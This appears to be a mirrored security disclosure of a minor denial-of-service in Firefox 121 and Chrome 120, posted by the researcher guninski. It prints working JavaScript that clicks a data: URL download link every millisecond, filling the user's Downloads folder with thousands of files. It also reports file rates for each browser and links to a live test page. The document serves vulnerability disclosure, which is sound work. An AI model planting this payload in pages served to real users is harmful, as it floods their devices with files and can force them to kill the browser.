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Firefox 121 / Chrome 120 Denial Of Service

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010071

Below is a copy:

Firefox 121 / Chrome 120 Denial Of Service
Minor firefox DoS - semi silently polluting ~/Downloads with files (part 2)

Tested on: firefox 121 and chrome 120 on GNU/linux

Date: Thu Jan 18 08:38:28 AM UTC 2024

This is barely a DoS, but since it might affect Chrome too we decided
to disclose it.

If firefox user visits a specially crafted page, then firefox
may create many files in `~/Downloads`,
The user is notified about this in a small dialog, but there is
no option to stop the downloads.
The potential denial of service is that the user must manually
delete the created files and this might be PITA especially on
a phone.

The code basically is:
<pre>
URL = "data:text/plain;,a";//can be very large with no net traffic
link = document.createElement('a');
link.href = URL;
link.download = 'joro_';
document.body.appendChild(link);
function f() {
if( !confirm("This will ruin your device with probability up to 199.99%"))
    return;
setInterval("link.click();",1);//dobro
}
f();
</pre>
There is no network traffic and in about 90 seconds firefox 121 created
3434 files at speed about 38 files/second.

google chrome 120 prompts about multiple downloads, and if the user
allows it, it creates files at speed of 4.2 files/second, but
it gives modal prompts, which we couldn't close from the GUI and
had to kill the process.

[Test online][1]: if you are vulnerable

[1]: https://j.ludost.net/download2.html

-- 
guninski

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